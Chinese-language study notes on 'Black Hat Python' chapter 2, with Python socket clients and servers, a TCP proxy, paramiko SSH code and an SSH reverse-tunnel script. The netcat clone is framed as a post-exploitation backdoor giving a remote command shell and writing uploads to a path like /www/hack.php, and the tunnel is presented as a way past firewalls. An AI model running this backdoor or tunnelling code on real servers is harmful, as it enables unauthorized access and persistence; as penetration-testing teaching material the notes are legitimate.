python黑帽子(第二章)

TCP客户端

在渗透测试工程中，我们经常会遇到需要创建一个TCP客户端来连接网络、发送垃圾数据、进行模糊测试等任务的情况。但是所处环境不具备丰富的网络工具，下面是一个简单的TCP客户端

import socket

# 要连接目标的ip和端口

target_host = '127.0.0.1' # ip或者域名

target_port = 1111

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

client.connect((target_host, target_port))

client.send('hello'.encode('utf-8'))

response = client.recv(4096)

print(response)

TCP服务端

import socket

import threading

server_ip = '0.0.0.0'  # 用于监听的ip和端口

server_port = 1111

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server.bind((server_ip, server_port)) # 绑定ip端口

server.listen(5) # 允许最大tcp客户端连接数为5

print('TCP server start listen')

def handle_client(socket_client):

    request = socket_client.recv(1024)

    print(request)

    socket_client.send('ACK!'.encode('utf-8'))

    socket_client.close()

while True:

    client, add_info = server.accept() # 接受tcp客户端的请求,开启client套接字用于和tcp客户端通信

    print(f'handle{add_info}')

    t = threading.Thread(target=handle_client, args=(client,))

    t.start()

UDP

# 因为udp的特性虽然区分服务端与客户端 但是不用连接  这里只写下了 udp客户端的代码

import socket

target_host = '127.0.0.1'

target_port = 2222

client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

client.sendto('message'.encode('utf-8'), (target_host, target_port))

data, address = client.recvfrom(4096)

print(data)

recvfrom()返回（数据、连接信息）和 recv()只返回数据;sendto() 需要发送消息和地址、send只需要发送消息

因为tcp是需要连接的 udp是无状态不需要连接的，一般udp使用recvfrom和sendto() tcp使用 recv和send()

参数
socket.AF_INET	说明是标准ipv4地址或主机名
socket.SOCK_STREAM	流式socket , 当使用TCP时选择此参数
socket.SOCK_DGRAM	数据报式socket ,当使用UDP时选择此参数

模拟netcat

当我们通过漏洞进入一个服务器，并且服务器中安装了python------>通过下面的脚本给服务器开启一个端口进行命令行交互、留后门、单条命令执行等功能

python xxxx.py -t "0.0.0.0" -p 1111 -l "True" -c "True" 开启1111端口进行监听客户端连接后会与服务器产生一个交互的终端
python xxxx.py -t "0.0.0.0" -p 1111 -l "True" -u "/www/hack.php" 客户端连接后输入的数据会被写入到/www/hack.php

import sys

import socket

import threading

import subprocess

import optparse

def usage():

    parser.add_option("-l", "--listen", dest="listen", help="Is it a TCP server", type="str")

    parser.add_option("-e", "--execute", dest="execute", default='', help="", type='str')

    parser.add_option("-c", "--command", dest='command', help='create a new shell')

    parser.add_option("-u", "--upload", dest='upload', default='', help='', type='str')

    parser.add_option("-t", "--host", dest='host', help='host', type='str')

    parser.add_option("-p", "--port", dest='port', help='port', type='int')

def client_sender():

    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    client.connect((host, port))

    # if len(buffer):

    #     client.send(buffer.encode('utf-8'))

    while True:

        rec_flag = 1

        response = ''

        while rec_flag:

            data = client.recv(4096)

            rec_flag = len(data)

            response += data.decode('gbk')

            if rec_flag < 4096:

                break

        print(response)

        _buffer = sys.stdin.readline()

        client.send(_buffer.encode('utf-8'))

def run_execute():

    global execute

    execute = execute.strip()

    output = subprocess.check_output(execute, stderr=subprocess.STDOUT, shell=True)

    return output

def client_handle(client_socket):

    if len(upload_destination):

        file_buffer = ''

        while True:

            data = client_socket.recv(4096)

            rec_flag = len(data)

            file_buffer += data.decode('utf-8')

            if rec_flag < 4096:

                break

        with open(upload_destination, 'w', encoding='utf-8') as fp:

            fp.write(file_buffer)

    if command:

        while True:

            client_socket.send('please input:'.encode('utf-8'))

            cmd_buf = ''

            while '\n' not in cmd_buf:

                data = client_socket.recv(4096)

                cmd_buf += data.decode('utf-8')

            response = subprocess.check_output(cmd_buf, stderr=subprocess.STDOUT, shell=True)

            client_socket.send(response)

    if len(execute):

        output = run_execute()

        client_socket.send(output)

def server_loop():

    global host

    if not len(host):

        host = '0.0.0.0'

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    server.bind((host, port))

    server.listen(5)

    while True:

        socket_client, addr = server.accept()

        threading.Thread(target=client_handle, args=(socket_client,)).start()

if __name__ == '__main__':

    listen = False

    command = False

    parser = optparse.OptionParser()

    usage()

    option, args = parser.parse_args()  # option是标明的参数 args是额外的参数

    # 这里本应该做参数检查 此处省略

    upload_destination = option.upload

    execute = option.execute

    host = option.host

    port = option.port

    if option.listen == 'True':

        listen = True

    if option.command == 'True':

        command = True

    if not listen:

        # buffer = sys.stdin.readline()  # 从命令行读取内容 ctrl+D结束输入

        client_sender()

    if listen:

        server_loop()

TCP代理

下面几行代码只是演示代理的原理

本机的local_port为代理服务的端口客户端连接本机的local_port 本机将客户端发送来的数据转发到远程主机remote_host,remote_port 然后将远程主机返回的信息转发给客户端

python xxx.py --host "0.0.0.0" --port 1111 --rhost "xxxx" --port 21 --receivef "True"

import sys

import socket

import optparse

import threading

def proxy_handler(client_socket, remote_host, remote_port, receive):

    remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    remote_socket.connect((remote_host, remote_port))

    if receive:

        print('wait remote')

        remote_buffer = remote_socket.recv(4096)

        client_socket.send(remote_buffer)

    while True:

        local_buffer = client_socket.recv(4096)

        remote_socket.send(local_buffer)

        remote_buffer = remote_socket.recv(4096)

        client_socket.send(remote_buffer)

def server_loop(local_host, local_port, remote_host, remote_port, receive):

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    server.bind((local_host, local_port))

    print(f'Listening on {local_host}:{local_port}')

    server.listen(5)

    while True:

        client_socket, addr = server.accept()

        print(f'{addr}已连接')

        threading.Thread(target=proxy_handler, args=(client_socket, remote_host, remote_port, receive)).start()

def usage(parser):

    parser.add_option("--host", dest="host")

    parser.add_option("--port", dest="port", type='int')

    parser.add_option("--rhost", dest="rhost")

    parser.add_option("--rport", dest="rport", type='int')

    parser.add_option("--receivef", dest='receive', help='在发给远程主机之前连接和接受数据')

def main():

    parser = optparse.OptionParser()

    usage(parser)

    option, args = parser.parse_args()

    local_host = option.host

    remote_host = option.rhost

    local_port = option.port

    remote_port = option.rport

    receive = False

    if option.receive == 'True':

        receive = True

    print(receive)

    server_loop(local_host, local_port, remote_host, remote_port, receive)

if __name__ == '__main__':

    main()

实现SSH客户端

import paramiko

def ssh_command(ip, port, user, passwd, command):

    # 实例化ssh对象

    client = paramiko.SSHClient()

    # 秘钥认证方式

    # client.load_host_keys('')

    # 自动添加和保存服务器ssh秘钥

    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    # 用户名密码认证方式

    client.connect(ip, port, user, passwd)

    ssh_session = client.get_transport().open_session()

    if ssh_session.active:

        ssh_session.exec_command(command)

        print(ssh_session.recv(1024).decode('utf-8'))

ssh_command("192.168.1.103", 22, "beginner", "beginner", "ifconfig")

SSH服务器端代码

import socket

import threading

import sys

import paramiko

#ssh-keygen -t rsa -b 4096 生成ssh秘钥

host_key = paramiko.RSAKey(filename="私钥")

class Server(paramiko.ServerInterface):

    def __init__(self):

        # 执行start_server()方法首先会触发Event,如果返回成功, is_active返回True

        self.event = threading.Event

    def check_auth_password(self, username, password):

        # 当is_active返回True,进入认证阶段

        if username == 'beginner' and password == 'beginner':

            return paramiko.AUTH_SUCCESSFUL

        return paramiko.AUTH_FAILED

    def check_channel_request(self, kind, chanid):

        # 当认证成功,client会请求打开一个Channel

        if kind == 'session':

            return paramiko.OPEN_SUCCEEDED

        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

# 命令接受ip与port

server = sys.argv[1]

port = int(sys.argv[2])

# 建立socket套接字

try:

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # SOL_SOCKET    意思是正在使用的socket选项。

    # SO_REUSEADDR  当socket关闭后，本地端用于该socket的端口号立刻就可以被重用

    # 1    表示将SO_REUSEADDR标记为TRUE，操作系统会在服务器socket被关闭或服务器进程终止后马上释放该服务器的端口，否则操作系统会保留几分钟该端口。

    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    sock.bind((server, port))

    sock.listen(100)

    print('[+] Listening for connection...')

    client, addr = sock.accept()

except Exception as e:

    print('[-] Listen failed!')

    sys.exit(1)

print('[+] Got a connection!')

try:

    # 用sock.accept()返回的socket实例化Transport

    bhSession = paramiko.Transport(client)

    # 添加一个RSA密钥加密会话

    bhSession.add_server_key(host_key)

    server = Server()

    try:

        # 启动SSH服务端

        bhSession.start_server(server=server)

    except paramiko.SSHException as x:

        print('[-] SSH negotiation failed.')

    # 等待客户端开启通道，超时时间为20秒

    chan = bhSession.accept(20)

    print('[+] Authenticated!')

    print(chan.recv(1024).decode('utf-8'))

    chan.send(b'welcome to bh_ssh')

    while True:

        try:

            command = input("Enter command:").strip('\n')

            if command != 'exit':

                chan.send(command.encode("utf-8"))

                print(chan.recv(1024).decode("utf-8")+'\n')

            else:

                chan.send(b'exit')

                print('exiting.')

                bhSession.close()

                raise Exception('exit')

        except KeyboardInterrupt:

            bhSession.close()

except Exception as e:

    print('[-] Caught exception:'+str(e))

    try:

        bhSession.close()

    except:

        pass

    sys.exit(1)

SSH隧道(ssh端口转发)

SSH会自动加密和解密所有SSH客户端与服务端之间的网络数据。除此之外SSH还能够将其他TCP端口的网络数据通SSH链接来转发，并且自动提供了相应的加密及解密服务。

ssh端口转发种类

本地转发

B开启了ssh服务器可以被外部连接，C开启了FTP只允许本地连接，A可以连接B无法连接C

sh -L localport:remotehost:remotehostport sshserver

sh -L 1111:192.168.0.103:21 192.168.0.102

现在只需要访问127.0.0.1:21就可以连接ftp

localport	本地端口号
remotehost	远程服务器
remotehostport	远程服务器端口
sshserver	ssh服务器ip

远程转发(SSH反向隧道)

企业中一般防火墙是只允许出不允许进,如果防火墙关闭了22端口我们无法本地转发，现在只能远程转发

现在就是B连接A 然后A将需要发送的数据交给B B再交给C

ssh -R sshserverport:remotehost:remotehostport sshserver

sshserverport 被转发机器开放的端口

remotehost 远程服务器

remotehostport 远程服务器端口

sshserver 需要被转发机器ip
动态转发

FQ~~~

关于ssh隧道的详解https://www.cnblogs.com/keerya/p/7612715.html

import getpass

import os

import socket

import select

import sys

import threading

from optparse import OptionParser

import paramiko

SSH_PORT = 22

DEFAULT_PORT = 4000

g_verbose = True

def handler(chan, host, port):

    sock = socket.socket()

    try:

        sock.connect((host, port))

    except Exception as e:

        verbose("Forwarding request to %s:%d failed: %r" % (host, port, e))

        return

    verbose(

        "Connected!  Tunnel open %r -> %r -> %r"

        % (chan.origin_addr, chan.getpeername(), (host, port))

    )

    while True:

        r, w, x = select.select([sock, chan], [], [])

        if sock in r:

            data = sock.recv(1024)

            if len(data) == 0:

                break

            chan.send(data)

        if chan in r:

            data = chan.recv(1024)

            if len(data) == 0:

                break

            sock.send(data)

    chan.close()

    sock.close()

    verbose("Tunnel closed from %r" % (chan.origin_addr,))

def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):

    transport.request_port_forward("", server_port)

    while True:

        chan = transport.accept(1000)

        if chan is None:

            continue

        thr = threading.Thread(

            target=handler, args=(chan, remote_host, remote_port)

        )

        thr.setDaemon(True)

        thr.start()

def verbose(s):

    if g_verbose:

        print(s)

HELP = """\

Set up a reverse forwarding tunnel across an SSH server, using paramiko. A

port on the SSH server (given with -p) is forwarded across an SSH session

back to the local machine, and out to a remote site reachable from this

network. This is similar to the openssh -R option.

"""

def get_host_port(spec, default_port):

    "parse 'hostname:22' into a host and port, with the port optional"

    args = (spec.split(":", 1) + [default_port])[:2]

    args[1] = int(args[1])

    return args[0], args[1]

def parse_options():

    global g_verbose

    parser = OptionParser(

        usage="usage: %prog [options] <ssh-server>[:<server-port>]",

        version="%prog 1.0",

        description=HELP,

    )

    parser.add_option(

        "-q",

        "--quiet",

        action="store_false",

        dest="verbose",

        default=True,

        help="squelch all informational output",

    )

    parser.add_option(

        "-p",

        "--remote-port",

        action="store",

        type="int",

        dest="port",

        default=DEFAULT_PORT,

        help="port on server to forward (default: %d)" % DEFAULT_PORT,

    )

    parser.add_option(

        "-u",

        "--user",

        action="store",

        type="string",

        dest="user",

        default=getpass.getuser(),

        help="username for SSH authentication (default: %s)"

        % getpass.getuser(),

    )

    parser.add_option(

        "-K",

        "--key",

        action="store",

        type="string",

        dest="keyfile",

        default=None,

        help="private key file to use for SSH authentication",

    )

    parser.add_option(

        "",

        "--no-key",

        action="store_false",

        dest="look_for_keys",

        default=True,

        help="don't look for or use a private key file",

    )

    parser.add_option(

        "-P",

        "--password",

        action="store_true",

        dest="readpass",

        default=False,

        help="read password (for key or password auth) from stdin",

    )

    parser.add_option(

        "-r",

        "--remote",

        action="store",

        type="string",

        dest="remote",

        default=None,

        metavar="host:port",

        help="remote host and port to forward to",

    )

    options, args = parser.parse_args()

    if len(args) != 1:

        parser.error("Incorrect number of arguments.")

    if options.remote is None:

        parser.error("Remote address required (-r).")

    g_verbose = options.verbose

    server_host, server_port = get_host_port(args[0], SSH_PORT)

    remote_host, remote_port = get_host_port(options.remote, SSH_PORT)

    return options, (server_host, server_port), (remote_host, remote_port)

def main():

    options, server, remote = parse_options()

    password = None

    if options.readpass:

        password = getpass.getpass("Enter SSH password: ")

    client = paramiko.SSHClient()

    client.load_system_host_keys()

    client.set_missing_host_key_policy(paramiko.WarningPolicy())

    verbose("Connecting to ssh host %s:%d ..." % (server[0], server[1]))

    try:

        client.connect(

            server[0],

            server[1],

            username=options.user,

            key_filename=options.keyfile,

            look_for_keys=options.look_for_keys,

            password=password,

        )

    except Exception as e:

        print("*** Failed to connect to %s:%d: %r" % (server[0], server[1], e))

        sys.exit(1)

    verbose(

        "Now forwarding remote port %d to %s:%d ..."

        % (options.port, remote[0], remote[1])

    )

    try:

        reverse_forward_tunnel(

            options.port, remote[0], remote[1], client.get_transport()

        )

    except KeyboardInterrupt:

        print("C-c: Port forwarding stopped.")

        sys.exit(0)

if __name__ == "__main__":

    main()

python3 rforward.py ssh服务器ip -p 本地转接的端口 -r 远程ip:远程端口 --user 用于连接ssh服务的用户名 --password